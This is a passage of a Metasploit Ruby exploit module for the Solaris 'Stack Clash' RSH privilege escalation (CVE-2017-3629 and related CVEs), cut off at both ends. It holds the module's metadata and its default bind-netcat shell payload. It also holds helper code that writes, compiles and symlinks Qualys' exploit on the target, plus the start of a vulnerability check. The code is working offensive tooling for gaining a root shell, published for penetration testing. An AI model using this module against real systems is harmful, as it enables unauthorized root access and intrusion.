The stack guard page on unpatched Solaris systems is of insufficient size to prevent collisions between the stack and heap memory, aka Stack Clash. This module uploads and executes Qualys' Solaris_rsh.c exploit, which exploits a vulnerability in RSH to bypass the stack guard page to write to the stack and create a SUID root shell. This module has offsets for Solaris versions 11.1 (x86) and Solaris 11.3 (x86). Exploitation will usually complete within a few minutes using the default number of worker threads (10). Occasionally, exploitation will fail. If the target system is vulnerable, usually re-running the exploit will be successful. This module has been tested successfully on Solaris 11.1 (x86) and Solaris 11.3 (x86). }, 'References' => [ ['BID', '99151'], ['BID', '99153'], ['CVE', '2017-1000364'], ['CVE', '2017-3629'], ['CVE', '2017-3630'], ['CVE', '2017-3631'], ['EDB', '42270'], ['URL', 'http://www.oracle.com/technetwork/security-advisory/alert-cve-2017-3629-3757403.html'], ['URL', 'https://blog.qualys.com/securitylabs/2017/06/19/the-stack-clash'], ['URL', 'https://www.qualys.com/2017/06/19/stack-clash/stack-clash.txt'] ], 'Notes' => { 'AKA' => ['Stack Clash', 'Solaris_rsh.c'] }, 'License' => MSF_LICENSE, 'Author' => [ 'Qualys Corporation', # Stack Clash technique and Solaris_rsh.c exploit 'Brendan Coles' # Metasploit ], 'DisclosureDate' => 'Jun 19 2017', 'Privileged' => true, 'Platform' => ['unix'], 'Arch' => [ARCH_X86, ARCH_X64], 'SessionTypes' => ['shell', 'meterpreter'], 'Targets' => [ ['Automatic', {}], ['Solaris 11.1', {}], ['Solaris 11.3', {}] ], 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/bind_netcat', 'WfsDelay' => 10, 'PrependFork' => true }, 'DefaultTarget' => 0)) register_options [ OptInt.new('WORKERS', [true, 'Number of workers', '10']), OptString.new('RSH_PATH', [true, 'Path to rsh executable', '/usr/bin/rsh']) ] register_advanced_options [ OptBool.new('ForceExploit', [false, 'Override check result', false]), OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']) ] end def rsh_path datastore['RSH_PATH'] end def mkdir(path) vprint_status "Creating '#{path}' directory" cmd_exec "mkdir -p #{path}" register_dir_for_cleanup path end def upload(path, data) print_status "Writing '#{path}' (#{data.size} bytes) ..." rm_f path write_file path, data register_file_for_cleanup path end def upload_and_compile(path, data) upload "#{path}.c", data output = cmd_exec "PATH=$PATH:/usr/sfw/bin/:/opt/sfw/bin/:/opt/csw/bin gcc -Wall -std=gnu99 -o #{path} #{path}.c" unless output.blank? print_error output fail_with Failure::Unknown, "#{path}.c failed to compile" end register_file_for_cleanup path end def symlink(link_target, link_name) print_status "Symlinking #{link_target} to #{link_name}" rm_f link_name cmd_exec "ln -sf #{link_target} #{link_name}" register_file_for_cleanup link_name end def check unless setuid? rsh_path vprint_error "#{rsh_path} is not setuid" return CheckCode::Safe end vprint_good "#{rsh_path} is setuid" unless has_gcc? vprint_error 'gcc is not installed' return CheckCode::Safe end vprint_good 'gcc is installed' version = kernel_version if version.to_s.eql?
